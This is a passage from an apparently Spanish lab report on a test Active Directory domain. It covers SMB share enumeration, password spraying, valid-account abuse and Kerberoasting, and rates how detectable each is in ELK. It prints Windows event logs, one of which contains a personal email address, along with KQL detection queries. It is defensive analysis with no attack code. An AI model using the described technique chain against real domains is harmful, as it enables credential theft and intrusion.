diferencia de comportamiento ofensivo de actividad administrativa legitima.

Acceso SMB y enumeracion de recursos compartidos

La primera técnica ejecutada durante esta fase consistio en el acceso y enumeracion de
recursos compartidos SMB dentro del dominio con tal de identificar shares accesiblesy
localizar informacién sensible reutilizable durante fases posteriores del ataque. Esta actividad
se corresponde con la técnica MITRE T1021.002 — SMB/Windows Admin Sharesy T1135 -
Network Share Discovery.

Durante el analisis realizado en ELK se identificaron eventos relacionados tanto con
autenticaciones de red como con acceso a recursos compartidos internos mediante SMB. El
evento principal que se observa es:

e EventlD 5140: acceso a recurso compartido SMB
Se adjunta log de muestra:

{"event. code":"5140""'message":"A network share object was accessed. Subject: Security ID: S-1-
5-21-2625116736-1513678085-1295315389-1115 Account Name: CLIENT2$ Account Domain:
LAB Logon ID: 0x9e62fb Network Information: Object Type: File Source Address: 192.168.109.12
Source Port: 58622 Share Information: Share Name: \\\\*\\IPC$ Share Path: Access Request
Information: Access Mask: 0x1 Accesses: ReadData (or ListDirectory)
""winlog.event_data.lpAddress":"192.168.109.12""@metadata.beat":"winlogbeat","@metadata.ty




pe":"_doc""@metadata.version":"9.2.0","@timestamp":"2025-11-
03T23:11:41.2287""agent.ephemeral_id":"396ae2e7-a2f9-4936-b902-
b65aede37afe","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01""agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version
":"8.0.0""event.action":"File Share","event.created":"2025-11-
03T23:11:42.204Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-11-
03T23:11:41.228Z2""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AccessList":"ReadData (or ListDirectory)
""winlog.event_data.AccessMask":"0x1","winlog.event_data.lpPort":"58622""winlog.event_data.O
bjectType":"File""winlog.event_data.ShareName":"\\\\*\\IPC$","winlog.event_data.SubjectDomai
nName":"LAB","'winlog.event_data.SubjectLogonld":"0x9e62fb","winlog.event_data.SubjectUserN
ame":"CLIENT2$""winlog.event_data.SubjectUserSid":"S-1-5-21-2625116736-1513678085-
1295315389-1115""winlog.event_id":"5140","winlog.keywords":"Audit
Success","winlog.opcode":"Info","'winlog.process.pid":"4""winlog.process.thread.id":"6856","winlo
g.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"389887","winlog.task":"File
Share""'winlog.version":"1")"_id":"08XGS50ByvXe4XVqObJR""_ignored":"message.keyword","_index

":"vector-2025.11.03""_score":13.088}

El evento anterior refleja acceso remoto desde el sistema 192.168.109.12 hacia un recurso
compartido usado en Windows para comunicaciones SMB, autenticaciones remotasy
enumeracion de recursos dentro del dominio.

La consulta KQL usada durante el anélisis fue:

event.code:5140 AND "192.168.109.12"

Illustracion 49. Eventos SMB (Event ID 5140) generados desde CLIENT2 durante el acceso a recursos compartidos del
dominio

En la anterior imagen se ve una volumetria de un total de 112 eventos relacionados con Event
Code 5140 generados desde la IP mencionada en la KQL y perteneciente a CLIENT2.

Esto nos permite identificar actividad SMB procedente del mismo sistema comprometido
evidenciando accesos remotos hacia recursos compartidos del dominio.



Por otra parte, uno de los principales problemas observados durante esta fase, es que estos
eventos forman parte del comportamiento normal de cualquier entorno Windows corporativo.
El acceso a recursos SMB mediante autenticaciones Kerberos ocurre constantemente entre
estaciones de trabajo, servidores y servicios internos del dominio.

Como consecuencia, los eventos registrados no permiten determinar por si mismos sila
actividad corresponde a enumeracion ofensiva, acceso administrativo legitimo, funcionamiento
normal del sistema o comunicaciones habituales entre equipos del dominio.

Este compartamiento muestra una de las mayores dificultades defensivas en entornos AD, y es
que muchas técnicas de movimiento lateral y enumeracién SMB usan mecanismos
completamente legitimos del sistema, reduciendo significativamente la capacidad de
deteccidn basada Unicamente en eventos individuales.

Por ello, la detectabilidad de esta técnica se considera baja ya que, aunque existen evidencias
claras de autenticacién y acceso SMB, la actividad observada continda siendo altamente
ambigua dentro del contexto normal de funcionamiento del dominio.

Obtencidn de credenciales en recurso compartidos

Tras identificar recursos SMB accesibles dentro del dominio, se realizaron tareas de busqueda
de informacién sensible y posibles credenciales almacenadas en shares corporativos. Esta
actividad se corresponde con MITRE T1552.001 — Credentials in files.

Durante la fase se identificaron eventos relacionados con acceso detallado a recursos
compartidos SMB, especialmente sobre shares criticos de AD. El principal evento observado
fue:

e EventlD 5145: Detailed File Share

Se adjunta log de muestra:

{"event. code":"5145""'message":"A network share object was checked to see whether client can
be granted desired access. Subject: Security ID: S-1-5-21-2625116736-1513678085-1295315389-
1125 Account Name: attacker Account Domain: LAB Logon ID: OxcOeOaf Network Information:
Object Type: File Source Address: 192.168.109.12 Source Port: 61356 Share Information: Share
Name: \\\\*\\NETLOGON Share Path: \\?2\\C:\\Windows\\SYSVOL\\sysvol\\lab.local\\SCRIPTS
Relative Target Name: Default User.V6 Access Request Information: Access Mask: 0x80 Accesses:
ReadAttributes Access Check Results: ReadAttributes: Granted by D:(A;;0x1200a9;;;WD)
""winlog.event_data.lpAddress":"192.168.109.12""@metadata.beat":"winlogheat",'"@metadata.ty
pe":"_doc""@metadata.version":"9.2.0","@timestamp":"2025-11-
24T15:14:57.754Z2""agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-
591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Detailed File Share","event.created":"2025-11-
24T15:14:58.673Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-11-
24T15:14:57.754Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","'winlog
.event_data.AccessList":"ReadAttributes
""winlog.event_data.AccessMask":"0x80","winlog.event_data.AccessReason":"ReadAttributes:
Granted by D:(A;;0x1200a9;;;WD)
""winlog.event_data.lpPort":"61356","winlog.event_data.ObjectType":"File
ativeTargetName":"Default
UserV6","winlog.event_data.ShareLocalPath":"\\??\\C:\\Windows\\SYSVOL\\sysvol\\lab.local\\SC
RIPTS","winlog.event_data.ShareName":"\\\\*\\NETLOGON","winlog.event_data.SubjectDomainN

S'winlog.event_data.Rel




ame":"LAB","winlog.event_data.SubjectLogonld":"Oxc0OeOaf","winlog.event_data.SubjectUserNam
e":"attacker","winlog.event_data.SubjectUserSid":"S-1-5-21-2625116736-1513678085-
1295315389-1125""winlog.event_id":"5145""winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"4""winlog.process.thread.id":"1564","winlo
g.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1490167","winlog.task":"Detailed File
Share")"_id":"7_o3tpoB11FbndjO00T9H","_ignored":"message.keyword","_index":"vector-

2025.11.24""_score":11.206}

Este evento refleja una solicitud de acceso desde le sistema 192.168.109.12 hacia un recurso
compartido de la infraestructura interna.

La consulta KQL usada para localizar accesos detallados sobre recursos compartidos fue:

event.code:5145 AND "192.168.109.12"
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Ilustracion 50. Eventos SMB (Event ID 5145) asociados a solicitudes de acceso a recursos compartidos realizadas
desde CLIENT2

En estaimagen se muestran eventos 5145 de solicitudes de acceso a recursos SMB por parte de
la maquina CLIENT2.

Uno de los aspectos mas relevantes observados durante esta fase es que el evento 5145
proporciona una granularidad muy superior a eventos SMB mas genéricos como el 5140,
permitiéndonos identificar:

e Recurso compartido accedido.
e Fichero objetivo.

e Tipo de acceso solicitado.

e Permisos evaluados.

Sin embargo, desde una perspectiva defensiva continla existiendo la limitacion de que el
acceso a recursos compartidos de este tipo, forman parte del comportamiento normal dentro
de los entornos AD. Usuarios, workstations y servicios internos consultan constantemente
estos recursos durante procesos legitimos relacionados con politicas de grupos, scripts de
inicio de sesiény sincronizaciéon de configuraciones.



Como consecuencia, incluso con eventos detallados como son los 5145, diferenciar actividad
ofensiva orientada a busqueda de credenciales de comportamiento administrativo normal
continua siendo muy complejo sin mecanismo adicionales de correlacidon o contextualizacion.

Ademas, la visibilidad obtenida depende directamente del nivel de auditoria configurado sobre
los recursos compartidos. En ausencia de auditoria avanzada sobre estos, gran parte de este
tipo de accesos apenas generarian trazabilidad en el SIEM.

Por ello, la detectabilidad de esta técnica se considera baja ya que, aunque los eventos 5145
proporcionan informacion detallada sobre accesos SMB, la actividad observada continda
siendo muy ambigua dentro del funcionamiento normal de AD.

Password Spraying

Tras la enumeracion inicial de usuarios y recursos compartidos, se realizé un ataque de
password spraying con el objetivo de comprometer cuentas validas del dominio mediante
autenticaciones repetitivas contra multiples usuarios. Esta actividad corresponde con la
técnica MITRET1110.003 — Password Spraying.

A diferencia de otras técnicas de reconocimiento observadas durante las fases anteriores, el
password spraying genero evidencias mucho mas visibles dentro de los Security Logs de
Windows debido al elevado numero de autenticaciones fallidas registradas sobre los sistemas
objetivo.

Los principales eventos identificados fueron los:
e FEventlD 4625: An account failed to log on.

Se adjunta log de muestra:

{"event. code":"4625""message":"An account failed to log on. Subject: Security ID: S-1-0-0
Account Name: - Account Domain: - Logon ID: 0x0 Logon Type: 3 Account for Which Logon Failed:
Security ID: S-1-0-0 Account Name: davidcardela@gmail.com Account Domain:
MicrosoftAccount Failure Information: Failure Reason: Unknown username or bad password.
Status: 0xc000006d Sub Status: 0xc0000064 Process Information: Caller Process ID: 0x0 Caller
Process Name: - Network Information: Workstation Name: CLIENT2 Source Network Address:
192.168.109.12 Source Port: 58630 Detailed Authentication Information: Logon Process:
NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): - Key
Length: 0 This event is generated when a logon request fails. It is generated on the computer
where access is attempted. The Subject fields indicate the account on the local system which
requested the logon. This is most commonly a service such as the Server service, or a local
process such as Winlogon.exe or Services.exe. The Logon Type field indicates the kind of logon
that was requested. The most common types are 2 (interactive) and 3 (network). The Process
Information fields indicate which account and process on the system requested the logon. The
Network Information fields indicate where a remote logon request originated. Workstation names
are not always available and may be left blank in some cases. The authentication information
fields provide detailed information about this specific logon request. - Transited services indicate
which intermediate services have participated in this logon request. - Package name indicates
which sub-protocol was used among the NTLM protocols. - Key length indicates the length of the
generated session key. This will be 0 if no session key was
requested.""winlog.event_data.lpAddress":"192.168.109.12""@metadata.beat":"winlogbeat""@
metadata.type":"_doc',"@metadata.version":"9.2.0","@timestamp":"2025-11-
037T23:12:10.932Z7""agent.ephemeral_id":"396ae2e7-a2f9-4936-b902-
b65aede37afe","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01""agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version
":"8.0.0""event.action":"Logon","event.created":"2025-11-




03723:12:12.281Z""event.kind":"event","event.outcome":"failure","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-11-
03T23:12:10.932Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local",'winlog
.event_data.AuthenticationPackageName":"NTLM""winlog.event_data.FailureReason":"Unknown
user name or bad
password.""'winlog.event_data.lpPort":"58630","winlog.event_data.KeyLength":"0","winlog.event_d

ata.LmPackageName":"-""winlog.event_data.LogonProcessName":"NtLmSsp
""winlog.event_data.LogonType":"3","winlog.event_data.Processld":"0x0","winlog.event_data.Proc
essName":"-

""winlog.event_data.Status":"0xc000006d","'winlog.event_data.SubjectDomainName":
""winlog.event_data.SubjectLogonld":"0x0","winlog.event_data.SubjectUserName":"-
""winlog.event_data.SubjectUserSid":"S-1-0-
0""winlog.event_data.SubStatus":"0xc0000064","winlog.event_data.TargetDomainName":"Micros

oftAccount","winlog.event_data.TargetUserName":"davidcardela@gmail.com","winlog.event_data
TargetUserSid":"S-1-0-0""winlog.event_data.TransmittedServices":"-
""winlog.event_data.WorkstationName":"CLIENT2","winlog.event_id":"4625","winlog.keywords":"A
udit
Failure","'winlog.opcode":"Info","winlog.process.pid":"792""winlog.process.thread.id":"6012","winl
og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"389944""winlog.task":"Logon","_id":"YMXHS50ByvXed4XVqSrTS","_ign
ored":"message.keyword","_index":"vector-2025.11.03""_score":12.768}

En este evento se refleja un intento fallido de autenticacién remota mediante NTLM desde el
sistema 192.168.109.12 contra el host CLIENT1 usando un inicio de sesiéon Logon Type 3,
asociado normalmente a accesos de red SMB.

El cédigo de error:
e (0xc000006d - credenciales invalidas.

Este permitio identificar intentos de validacion de credenciales no legitimas dentro del dominio,
comportamiento caracteristico durante las fases de password spraying.

La consulta KQL usada para localizar las autenticaciones fallidas fue:



event.code:4625 AND "192.168.109.12"

@ elastic

Illustracion 51. Eventos de autenticacion fallida (Event ID 4625) generados desde la IP 192.168.109.12 mediante
intentos de inicio de sesion remoto tipo 3

En estaimagen se muestran un total de 18 eventos donde se tratd de iniciar sesidon con
credenciales invalidas desde la IP 192.168.109.12 a través de Logon Type 3.

El analisis temporal de los eventos permitid identificar multiples intentos consecutivos de
autenticacion desde el mismo origen contra distintas cuentas del entorno generando un patrén
claramente distinguible.

Sin embargo, desde una perspectiva defensiva, los eventos 4625 contintian presentando cierta
ambiguedad de forma aislada. Fallos de autenticacién similares pueden generarse también de
forma legitima debido a errores de los usuarios, credenciales desactualizadas, servicios
automatizados...

Como consecuencia, la deteccidn efectiva de password spraying no depende solo de los logs
individuales sino de la correlacién temporal, numero de errores, numero de cuentas objetivo,
repeticién desde una misma IP, entre mas cosas.

Por esto, la detectabilidad de esta técnica se considera alta ya que los eventos generados
permiten identificar patrones anémalos relativamente claros cuando existen mecanismos
adecuados de correlacién y monitorizacion.

Compromiso de cuenta de usuario

Como resultado de la fase de password spraying se consigue comprometer una cuenta valida
del dominio y reutilizar credenciales legitimas para continuar avanzando dentro de la
infraestructura. Esta actividad se corresponde con la técnica de MITRE T1078 — Valid Accounts.

A diferencia de fases anteriores basadas en autenticaciones fallidas o actividad anémala
facilmente identificable, el uso de credenciales validas redujo considerablemente la visibilidad
defensiva ya que las acciones realizadas comenzaron a registrarse como accesos legitimos
dentro del entorno AD.

El principal evento observado fue:
e FEvetnID 4624 — An account was successfully logged on.

Se adjunta log de muestra:



{"event. code":"4624""message":"An account was successfully logged on. Subject: Security ID: S-
1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Information: Logon Type: 3
Restricted Admin Mode: - Virtual Account: No Elevated Token: Yes Impersonation Level:
Impersonation New Logon: Security ID: S-1-5-21-2625116736-1513678085-1295315389-1106
Account Name: user1 Account Domain: LAB.LOCAL Logon ID: 0x6f95aa Linked Logon ID: 0x0
Network Account Name: - Network Account Domain: - Logon GUID: {BCAAD1F9-A877-9FAS3-
6CE7-E50DCAOQF8534} Process Information: Process ID: 0x0 Process Name: - Network
Information: Workstation Name: - Source Network Address: 192.168.109.11 Source Port: 57746
Detailed Authentication Information: Logon Process: Kerberos Authentication Package: Kerberos
Transited Services: - Package Name (NTLM only): - Key Length: 0 This event is generated when a
logon session is created. It is generated on the computer that was accessed. The subject fields
indicate the account on the local system which requested the logon. This is most commonly a
service such as the Server service, or a local process such as Winlogon.exe or Services.exe. The
logon type field indicates the kind of logon that occurred. The most common types are 2
(interactive) and 3 (network). The New Logon fields indicate the account for whom the new logon
was created, i.e. the account that was logged on. The network fields indicate where a remote
logon request originated. Workstation names are not always available and may be left blankin
some cases. The impersonation level field indicates the extent to which a process in the logon
session can impersonate. The authentication information fields provide detailed information
about this specific logon request. - Logon GUID is a unique identifier that can be used to correlate
this event with a KDC event. - Transited services indicate which intermediate services have
participated in this logon request. - Package name indicates which sub-protocol was used among
the NTLM protocols. - Key length indicates the length of the generated session key. This will be 0 if
no session key was
requested.""winlog.event_data.LogonType":"3","winlog.event_data.TargetUserName":"user1","@m
etadata.beat":"winlogbeat","@metadata.type":"_doc"'@metadata.version":"9.2.0","@timestamp":
"2025-12-31T710:59:58.343Z","agent.ephemeral_id":"1d7da995-514c-45f4-bd8a-
8d6741bee1f8""agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01""agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Logon","event.created":"2025-12-
31T10:59:59.711Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-12-
31T10:59:58.343Z","winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AuthenticationPackageName":"Kerberos","winlog.event_data.ElevatedToken":"Yes","
winlog.event_data.ImpersonationLevel":"Impersonation”,"winlog.event_data.lpAddress":"192.168
.109.11""winlog.event_data.lpPort":"57746","winlog.event_data.KeyLength":"0","winlog.event_dat
a.LmPackageName":"-""winlog.event_data.LogonGuid":"{BCAAD1F9-A877-9FA3-6CE7-
E50DCAO0F8534}""winlog.event_data.LogonProcessName":"Kerberos","winlog.event_data.Proces

sld":"0x0","winlog.event_data.ProcessName":"-""winlog.event_data.RestrictedAdminMode":

S'winlog.event_data.SubjectDomainName":
""winlog.event_data.SubjectLogonld":"0x0","winlog.event_data.SubjectUserName":"-
""winlog.event_data.SubjectUserSid":"S-1-0-
0""winlog.event_data.TargetDomainName":"LAB.LOCAL","winlog.event_data.TargetLinkedLogonld
":"0x0","winlog.event_data.TargetLogonld":"0x6f95aa","winlog.event_data.TargetOutboundDomain
Name":"-""winlog.event_data.TargetOutboundUserName":"-
"'winlog.event_data.TargetUserSid":"S-1-5-21-2625116736-1513678085-1295315389-

1106","winlog.event_data.TransmittedServices":
""winlog.event_data.VirtualAccount":"No","winlog.event_data.WorkstationName":"-
""winlog.event_id":"4624""winlog.keywords":"Audit
Success","'winlog.opcode":"Info","winlog.process.pid":"788","winlog.process.thread.id":"1876","wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"2403310","winlog.task":"Logon","winlog.version":"2""_id":"kkK9cZsB

kdi8L3731ZPR","_ignored":"message.keyword","_index":"vector-2025.12.31","_score":9.69}



El evento refleja una autenticaciéon correcta mediante Kerberos usando la cuenta user1 contra
el controlador de dominio DCO1. El Logon Type 3 evidencia un acceso de red remoto
comportamiento habitual durante conexiones SMB, acceso a recursos o autenticaciones
internas dentro del dominio.

La consulta KQL usada para localizar autenticaciones exitosas relacionadas la cuenta
comprometida fue:

event.code:4624 AND winlog.event_data.LogonType:"3" and "user1"
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Illustracion 52. Eventos de inicio de sesion satisfactorio por red (Event ID 4624) asociados a la cuenta user1 mediante
autenticacion remota tipo 3

En estaimagen se muestran un total de 488 eventos de login satisfactorio por red con EventID
4624 que tuvieron como usuario destino la cuenta user1.

Uno de los aspectos mas relevantes es que una vez comprometida una cuenta valida, la
actividad ofensiva comienza a mezclarse casi completamente con el comportamiento normal
del dominio. Desde la perspectiva del controlador de dominio, la autenticacién registrada
resulta indistinguible de un acceso legitimo realizado por el usuario real.

Ademas, el uso de Kerberos y credenciales validas elimina gran parte de los indicadores
andmalos presentes durante fases anteriores como errores de autenticacion repetitivos o fallos
de preautenticacion reduciendo considerablemente la capacidad de deteccidon basada
Unicamente en eventos individuales.

Desde una perspectiva defensiva, esta situacién representa una de las principales dificultades
en entornos AD modernos. Como consecuencia, la deteccion efectiva de este tipo de
compromiso depende de:

e Correlacién contextual.

e Analisis de comportamiento.

e Deteccidon de acceso anémalos.

e Horarios inusuales.

e Movimientos laterales posteriores.

e Desviaciones respecto al comportamiento normal de la cuenta comprometida.



Por ello la detectabilidad de esta técnica se considera baja ya que el uso de cuentas validas
reduce significativamente la generacidn de eventos claramente sospechosos dentro del SIEM y
dificulta atribuir la actividad a un compromiso real.

Conclusiones de detectabilidad de la fase

La segunda fase del ataque nos dio evidencias de como el uso de protocolos y mecanismos
legitimos del entorno Windows reduce considerablemente la capacidad de deteccién dentro
del Active Directory. Técnicas como el acceso a recursos SMB, la enumeracion de shares o la
reutilizacidon de credenciales validas generaron eventos ampliamente compatibles con
actividad administrativa normal dificultando diferenciar el comportamiento ofensivo del
legitimo.

Durante esta fase los eventos 4624, 5140 y 5145 proporcionaron trazabilidad util sobre
autenticaciones de red y acceso a recursos compartidos. Sin embargo, el analisis mostro que
estos registros carecen de contexto suficiente para atribuir por si mismo la actividad a un
proceso claramente malicioso.

Por el contrario, las técnicas de password spraying si generaron patrones mucho mas visibles
mediante eventos 4625 asociados a autenticaciones NTLM fallidas repetitivas desde un mismo
origen.

Finalmente, una vez comprometida una cuenta valida, la visibilidad defensiva disminuyo
considerablemente. El uso de autenticaciones Kerberos legitimas provoco que gran parte de la
actividad posterior comenzase a registrarse como comportamiento normal del dominio
evidenciando una de las principales dificultades de los entornos AD, el abuso de credenciales
validas reduce significativamente la generacién de indicadores claramente maliciosos.

Fase 3 - Kerberoasting y abuso de delegaciones Kerberos

Tras comprometer las credenciales validas del usuario en la fase anterior, la siguiente fase del
ataque estuvo orientada a la obtencién de credenciales de servicios y abuso de funcionalidades
legitimas de Kerberos para facilitar el movimiento lateral y escalada de privilegios dentro del
entorno AD.

Durante esta etapa se realizaron técnicas de Kerberoasting, crackeo offline de credenciales y
abuso de delegacion Kerberos mediante mecanismos S4U apoyandose principalmente en el
uso legitimo del protocolo Kerberos y cuentas de servicio del dominio.

Desde el punto de vista defensivo, esta fase resulto especialmente relevante debido a que gran
parte de la actividad observada se ejecuté usando funcionalidades completamente legitimas
del controlador de dominio. Como consecuencia, muchas de las acciones realizadas generaron
eventos validos dificiles de distinguir del comportamiento administrativo normal sin
mecanismos avanzados de correlacion y analisis contextual.

Kerberoasting sobre cuentas de servicio

Una vez comprometida la cuenta user1, se realizaron solicitudes de tickets TGS asociados a
cuentas de servicio del dominio con el objetivo de extraer material Kerberos susceptible de
crackeo offline. Esta actividad se corresponde con la técnica MITRE T1558.003 - Kerberoasting.



El objetivo principal de la técnica consiste en solicitar tickets de servicio Kerberos vinculados a
cuentas con SPN registrados dentro del AD para posteriormente intentar recuperar sus
credenciales mediante ataques offline.

Durante el anélisis en ELK se identificé principalmente eventos de:
e EventlD 4769: A Kerberos Service ticket was requested.
Se adjunta log de muestra:

{"event. code":"4769""'message":"A Kerberos service ticket was requested. Account Information:
Account Name: user1 @LAB.LOCAL Account Domain: LAB.LOCAL Logon GUID: {9F65724B-5B91-
51EB-B6C5-3145A4203348} Service Information: Service Name: svc-sql02 Service ID: S-1-5-21-
2625116736-1513678085-1295315389-1124 Network Information: Client Address:
::ffff:192.168.109.11 Client Port: 52896 Additional Information: Ticket Options: 0x40810000 Ticket
Encryption Type: 0x17 Failure Code: Ox0 Transited Services: - This event is generated every time
access is requested to a resource such as a computer or a Windows service. The service name
indicates the resource to which access was requested. This event can be correlated with
Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs
on the machine that was accessed, which is often a different machine than the domain controller
which issued the service ticket. Ticket options, encryption types, and failure codes are defined in
RFC
4120.""'winlog.event_data.lpAddress":"::ffff:192.168.109.11","winlog.event_data.TicketEncryption
Type":"0x17""@metadata.beat":"winlogbeat""@metadata.type":"_doc""@metadata.version":"9.2.
0"'"@timestamp":"2025-11-18T18:02:39.009Z","agent.ephemeral_id":"c93b5ea5-73e4-4ec9-8b0d-
8d4ab4059986","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DCO01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Kerberos Service Ticket Operations","event.created":"2025-11-
18T21:52:27.914Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-11-
18T18:02:39.009Z","winlog.channel":"Security","winlog.computer_name":"DC01.lab.local","winlog
.event_data.lpPort":"52896","winlog.event_data.LogonGuid":"{9F65724B-5B91-51EB-B6C5-
3145A4203348}","winlog.event_data.ServiceName":"svc-
sql02""winlog.event_data.ServiceSid":"S-1-5-21-2625116736-1513678085-1295315389-
1124""winlog.event_data.Status":"0x0","winlog.event_data.TargetDomainName":"LAB.LOCAL","wi
nlog.event_data.TargetUserName":"user1@LAB.LOCAL",'winlog.event_data.TicketOptions":"0x40
810000","winlog.event_data.TransmittedServices":"-
""winlog.event_id":"4769""winlog.keywords":"Audit
Success","winlog.opcode":"Info","'winlog.process.pid":"772","winlog.process.thread.id":"2792","wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"798028","winlog.task":"Kerberos Service Ticket
Operations","_id":"IBu9mJoBCTnK5MJAhEoM"," _ignored":"message.keyword","_index":"vector-
2025.11.18""_score":14.956}

El evento anterior muestra una solicitud legitima de ticket TGS realizada desde el sistema
192.168.109.11 usando la cuenta comprometida user1 contra la cuenta de servicio svc-sql02.

Uno de los aspectos mas relevantes observados durante el analisis es el uso del tipo de cifrado
(0x17) que corresponde con RC4-HMAC, un algoritmo frecuentemente asociado a escenarios
de Kerberoasting debido a que permite realizar crackeo offline de los tickets usando
herramientas como Hashcat o John The Ripper.

La consulta usada para localizar las solicitudes TGS potencialmente relacionadas con
Kerberoasting fue:



event.code:4769 AND winlog.event_data.TicketEncryptionType:"0x17"
and "*192.168.109.11*"
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Ilustracion 53. Eventos Kerberos TGS (Event ID 4769) generados por la cuenta user1 desde la IP 192.168.109.11
durante solicitudes de tickets de servicio

Esta imagen muestra un total de 8 eventos con EventlD 4769 generados desde la IP
192.168.109.11 por el usuario user1.

Uno de los principales hallazgos observados durante esta fase, es que el evento 4769 forma
parte del funcionamiento completamente normal del AD. La solicitud de tickets TGS ocurre
constantemente durante el acceso legitimo a servicios corporativos, aplicaciones internasy
cuentas de servicio del dominio.

Como consecuencia, la existencia aislada de un evento 4769 no constituye por si solo una
evidencia clara de actividad maliciosa. La capacidad de deteccién depende principalmente de
correlacionar el volumen de solicitudes TGS, cuentas de servicio objetivo, cifrados RC4,
frecuencia temporal y comportamiento habitual de la cuenta origen.

Ademas, el uso de una cuenta valida como user1 reduce considerablemente la generacién de
indicadores claramente andmalos ya que las solicitudes realizadas aparecen registradas como
autenticaciones legitimas dentro del dominio.

Desde una perspectiva defensiva, uno de los principales indicadores mas utiles observados
durante esta fase fue precisamente de tickets RC4 ya que muchos entornos modernos priorizan
AES y reducen progresivamente el uso de cifrados heredados. Como consecuencia, solicitudes
TGS RC4 dirigidas a cuentas de servicio pueden constituir un indicador relevante de actividad
potencialmente asociada a Kerberoasting.

Por ello, la detectabilidad de esta técnica se considera media/alta ya que, aunque los eventos
4769 proporcionan evidencias Utiles sobre solicitudes TGS potencialmente sospechosas, la
actividad continda siendo altamente contextual y dependiente de correlaciona avanzada.

Obtencion y crackeo offline de credenciales

Una vez obtenidos los tickets TGS asociados a cuentas de servicio, se realizé crackeo offline de
las credenciales desde el sistema atacante con el objetivo de recuperar contrasefas
reutilizables dentro del dominio.

A diferencia de otras técnicas observadas durante el laboratorio, esta fase presento una
visibilidad nula en el entorno monitorizado. El principal motivo de esto es que el proceso de



crackeo se ejecutd completamente fuera de la infraestructura AD usando los tickets obtenidos
previamente sin necesidad de interactuar nuevamente con el controlador de dominio.

Como consecuencia no se generaron eventos en DC01, no se observaron autenticaciones
adicionales y no existié actividad directamente monitorizable desde ELK durante el crackeo.

Desde una perspectiva defensiva, esta caracteristica resulta especialmente relevante ya que
una vez extraido el material Kerberos necesario, la actividad ofensiva generada en esta actividad
abandona completamente la visibilidad del SIEM.

Ademas, el éxito o fracaso del crackeo depende de:

e Lacomplejidad de la contrasena.

e Politicas de longitud.

e Reutilizacion de credenciales.

e Capacidad computacional del atacante.

Este comportamiento pone de manifiesto una de las principales limitaciones de ataques
Kerberoasting, la deteccidon debe producirse necesariamente durante la fase inicial de solicitud
de tickets ya que posterior a esto, el atacante podra continuar el proceso completamente offline
sin generar nuevas evidencias.

Por ello, la detectabilidad de esta técnica se considera nula, debido a la ausencia de telemetria
observable.

Acceso mediante cuenta de servicio comprometida

Tras recuperar las credenciales asociadas a la cuenta de servicio mediante Kerberoasting, se
realizaron autenticaciones legitimas dentro del dominio usando la cuenta svc-web. Esta
actividad se relaciona con la técnica del MITRE T1078.002 — Domain Accounts.

A diferencia de fases anteriores basadas en errores de autenticacion o solicitudes andmalas de
los tickets Kerberos, el uso de una cuenta de servicio valida reduce considerablemente la
visibilidad defensiva ya que la actividad observada comenzé a registrarse como
comportamiento legitimo dentro del entorno AD.

El evento principal identificado durante esta fase fue:
e EventlD 4624 — An account was successfully logged on.
Se adjunta log de muestra:

{"event.code":"4624""winlog.event_data.TargetUserName":"svc-
web""@metadata.beat":"winlogbeat""@metadata.type":"_doc","@metadata.version":"9.2.0","@ti
mestamp":"2025-11-12T11:56:08.521Z""agent.ephemeral_id":"5de3ce98-5708-4f59-a3¢c2-
83102462a148","agent.id":"204a2e51-7043-498b-98be-2483ea387784","agent.name":"DELEG-
CLIENT","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version":"8.0.0","event.action":"Log
on""event.created":"2025-11-
24T13:01:23.589Z7""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"An account was successfully
logged on. Subject: Security ID: S-1-5-21-2625116736-1513678085-1295315389-1109 Account
Name: lab_admin Account Domain: LAB Logon ID: Ox4ddee1 Logon Information: Logon Type: 3
Restricted Admin Mode: - Remote Credential Guard: - Virtual Account: No Elevated Token: No
